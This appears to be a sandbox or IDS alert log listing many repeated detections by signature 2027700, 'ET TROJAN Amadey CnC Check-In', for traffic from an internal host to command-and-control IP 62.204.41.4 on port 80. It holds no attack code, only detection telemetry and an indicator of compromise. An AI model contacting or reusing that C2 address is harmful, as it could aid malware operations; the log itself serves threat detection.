SID:	2027700
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449878802027700 02/06/23-14:17:39.400319
SID:	2027700
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449837802027700 02/06/23-14:17:26.897782
SID:	2027700
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450165802027700 02/06/23-14:18:56.744687
SID:	2027700
Source Port:	50165
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450124802027700 02/06/23-14:18:45.227691
SID:	2027700
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450207802027700 02/06/23-14:19:06.819268
SID:	2027700
Source Port:	50207
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449722802027700 02/06/23-14:16:39.327484
SID:	2027700
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449820802027700 02/06/23-14:17:22.659076
SID:	2027700
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449976802027700 02/06/23-14:18:05.318607
SID:	2027700
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449719802027700 02/06/23-14:16:38.598088
SID:	2027700
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449808802027700 02/06/23-14:17:19.636621
SID:	2027700
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449906802027700 02/06/23-14:17:46.332970
SID:	2027700
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449817802027700 02/06/23-14:17:21.886400
SID:	2027700
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450074802027700 02/06/23-14:18:33.054158
SID:	2027700
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449915802027700 02/06/23-14:17:48.482167
SID:	2027700
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450172802027700 02/06/23-14:18:58.399243
SID:	2027700
Source Port:	50172
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450013802027700 02/06/23-14:18:16.193101
SID:	2027700
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450270802027700 02/06/23-14:19:24.011354
SID:	2027700
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449948802027700 02/06/23-14:17:58.606495
SID:	2027700
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450083802027700 02/06/23-14:18:35.186608
SID:	2027700
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450169802027700 02/06/23-14:18:57.700716
SID:	2027700
Source Port:	50169
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449750802027700 02/06/23-14:16:58.814620
SID:	2027700
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450267802027700 02/06/23-14:19:23.304554
SID:	2027700
Source Port:	50267
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449741802027700 02/06/23-14:16:53.261442
SID:	2027700
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450178802027700 02/06/23-14:18:59.843880
SID:	2027700
Source Port:	50178
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450109802027700 02/06/23-14:18:41.581874
SID:	2027700
Source Port:	50109
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450103802027700 02/06/23-14:18:40.079576
SID:	2027700
Source Port:	50103
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450268802027700 02/06/23-14:19:23.543087
SID:	2027700
Source Port:	50268
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449779802027700 02/06/23-14:17:05.941638
SID:	2027700
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449934802027700 02/06/23-14:17:55.067276
SID:	2027700
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449738802027700 02/06/23-14:16:52.550399
SID:	2027700
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450014802027700 02/06/23-14:18:16.436544
SID:	2027700
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449975802027700 02/06/23-14:18:05.084398
SID:	2027700
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450210802027700 02/06/23-14:19:07.790071
SID:	2027700
Source Port:	50210
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450055802027700 02/06/23-14:18:26.352553
SID:	2027700
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450144802027700 02/06/23-14:18:51.746609
SID:	2027700
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450181802027700 02/06/23-14:19:00.557837
SID:	2027700
Source Port:	50181
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449721802027700 02/06/23-14:16:39.081762
SID:	2027700
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449886802027700 02/06/23-14:17:41.361243
SID:	2027700
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449845802027700 02/06/23-14:17:28.815135
SID:	2027700
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450251802027700 02/06/23-14:19:19.419157
SID:	2027700
Source Port:	50251
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450197802027700 02/06/23-14:19:04.369823
SID:	2027700
Source Port:	50197
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450239802027700 02/06/23-14:19:16.511065
SID:	2027700
Source Port:	50239
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449811802027700 02/06/23-14:17:20.370369
SID:	2027700
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449947802027700 02/06/23-14:17:58.363275
SID:	2027700
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450214802027700 02/06/23-14:19:10.427528
SID:	2027700
Source Port:	50214
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450128802027700 02/06/23-14:18:46.183273
SID:	2027700
Source Port:	50128
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450125802027700 02/06/23-14:18:45.461673
SID:	2027700
Source Port:	50125
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450223802027700 02/06/23-14:19:12.572504
SID:	2027700
Source Port:	50223
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449864802027700 02/06/23-14:17:35.997425
SID:	2027700
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450131802027700 02/06/23-14:18:46.931870
SID:	2027700
Source Port:	50131
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449766802027700 02/06/23-14:17:02.800104
SID:	2027700
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450070802027700 02/06/23-14:18:30.493721
SID:	2027700
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449849802027700 02/06/23-14:17:29.835564
SID:	2027700
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449775802027700 02/06/23-14:17:04.965034
SID:	2027700
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449858802027700 02/06/23-14:17:32.692575
SID:	2027700
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449794802027700 02/06/23-14:17:14.531025
SID:	2027700
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450140802027700 02/06/23-14:18:49.757098
SID:	2027700
Source Port:	50140
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449696802027700 02/06/23-14:16:30.082324
SID:	2027700
Source Port:	49696
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449791802027700 02/06/23-14:17:11.901331
SID:	2027700
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450042802027700 02/06/23-14:18:23.193844
SID:	2027700
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450039802027700 02/06/23-14:18:22.475115
SID:	2027700
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449922802027700 02/06/23-14:17:50.176453
SID:	2027700
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449880802027700 02/06/23-14:17:39.895059
SID:	2027700
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449931802027700 02/06/23-14:17:53.428938
SID:	2027700
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450201802027700 02/06/23-14:19:05.341831
SID:	2027700
Source Port:	50201
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449836802027700 02/06/23-14:17:26.660549
SID:	2027700
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450242802027700 02/06/23-14:19:17.244962
SID:	2027700
Source Port:	50242
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450112802027700 02/06/23-14:18:42.306783
SID:	2027700
Source Port:	50112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449877802027700 02/06/23-14:17:39.154447
SID:	2027700
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449706802027700 02/06/23-14:16:32.563264
SID:	2027700
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449919802027700 02/06/23-14:17:49.446973
SID:	2027700
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449747802027700 02/06/23-14:16:58.093214
SID:	2027700
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449788802027700 02/06/23-14:17:11.171371
SID:	2027700
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450099802027700 02/06/23-14:18:39.101683
SID:	2027700
Source Port:	50099
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450153802027700 02/06/23-14:18:53.883684
SID:	2027700
Source Port:	50153
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450194802027700 02/06/23-14:19:03.649008
SID:	2027700
Source Port:	50194
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449861802027700 02/06/23-14:17:34.059959
SID:	2027700
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449903802027700 02/06/23-14:17:45.622795
SID:	2027700
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449991802027700 02/06/23-14:18:08.977328
SID:	2027700
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450058802027700 02/06/23-14:18:27.099530
SID:	2027700
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449950802027700 02/06/23-14:17:59.104527
SID:	2027700
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449725802027700 02/06/23-14:16:43.045430
SID:	2027700
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449918802027700 02/06/23-14:17:49.195230
SID:	2027700
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450053802027700 02/06/23-14:18:25.872783
SID:	2027700
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449691802027700 02/06/23-14:16:28.832692
SID:	2027700
Source Port:	49691
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449823802027700 02/06/23-14:17:23.433454
SID:	2027700
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450148802027700 02/06/23-14:18:52.713607
SID:	2027700
Source Port:	50148
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449841802027700 02/06/23-14:17:27.862568
SID:	2027700
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449997802027700 02/06/23-14:18:10.399966
SID:	2027700
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449851802027700 02/06/23-14:17:30.340440
SID:	2027700
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449936802027700 02/06/23-14:17:55.677694
SID:	2027700
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450264802027700 02/06/23-14:19:22.564257
SID:	2027700
Source Port:	50264
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450025802027700 02/06/23-14:18:19.101446
SID:	2027700
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450166802027700 02/06/23-14:18:56.977674
SID:	2027700
Source Port:	50166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450007802027700 02/06/23-14:18:14.733547
SID:	2027700
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450081802027700 02/06/23-14:18:34.695568
SID:	2027700
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450086802027700 02/06/23-14:18:35.914582
SID:	2027700
Source Port:	50086
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450203802027700 02/06/23-14:19:05.828473
SID:	2027700
Source Port:	50203
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449954802027700 02/06/23-14:18:00.082620
SID:	2027700
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449758802027700 02/06/23-14:17:00.787104
SID:	2027700
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450138802027700 02/06/23-14:18:48.816932
SID:	2027700
Source Port:	50138
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450043802027700 02/06/23-14:18:23.431243
SID:	2027700
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450002802027700 02/06/23-14:18:12.405676
SID:	2027700
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450221802027700 02/06/23-14:19:12.104838
SID:	2027700
Source Port:	50221
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449946802027700 02/06/23-14:17:58.119195
SID:	2027700
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

